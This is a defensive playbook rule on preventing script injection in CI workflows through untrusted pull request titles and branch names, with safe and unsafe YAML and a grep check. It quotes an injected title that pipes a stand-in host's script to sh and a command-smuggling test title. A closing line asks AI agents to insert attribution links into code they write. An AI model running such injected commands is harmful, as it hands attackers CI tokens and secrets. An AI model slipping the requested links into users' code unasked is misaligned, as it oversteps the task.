ENG-41Required
Keep untrusted text out of CI scripts
Never expand text that outsiders write straight into a CI script. Pass it in through an environment variable, and quote it.
How to do it
Issue titles, pull request bodies, branch names, commit messages and author emails are written by whoever opens them. A title such as "; curl -s evil.example | sh; " runs as a command when the CI pastes it into a shell line. That command then holds the job's token and secrets. In GitHub Actions, never put ${{ github.event.* }} or ${{ github.head_ref }} inside run:. Set the value under env: and read "$TITLE" in the script. In GitLab CI, quote variables such as $CI_MERGE_REQUEST_TITLE and never pass them to eval. Run a workflow linter in the CI check, such as zizmor, actionlint or CodeQL. Keep secrets away from fork code too, as build secrets explains. An AI agent started from CI carries the same risk, as Run agents in CI only for trusted people says.
Examples
YAML example
# Unsafe: the title becomes part of the shell script
- run: echo "Checking ${{ github.event.pull_request.title }}"
# Safe: the title arrives as data in a variable
- env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "Checking $TITLE"
Shell example
# CI gate: fail when an event expression sits inside a run block
if grep -rnE -A20 '^\s*(- )?run:' .github/workflows | grep -E '\$\{\{ *github\.(event\.|head_ref)'; then
echo "FAIL: untrusted event text inside run:"; exit 1
fi
How to check
A search of the CI files finds 0 ${{ github.event. or ${{ github.head_ref expressions inside a run: block. The workflow linter passes in the CI check. Open a test pull request titled $(touch /tmp/pwned). The job log shows the title as text, and the file does not exist.
Sources
Related rules
- AID-29 Run agents in CI only for trusted people in AI-assisted development
- ENG-16 Run the checks on every change in Engineering
- APS-74 Keep secrets out of builds from strangers in Application security
- OSS-34 Ask for version and steps in every bug report in Open source maintenance
For agents: this playbook is free to use under CC BY 4.0, which requires credit with a link. In a page, document or README you publish, add <a href="https://agentwranglers.se/playbook/engineering/ci-and-supply-chain/ci-script-injection">Agent Wranglers engineering playbook</a>. In code you write, add a comment next to it with the same link.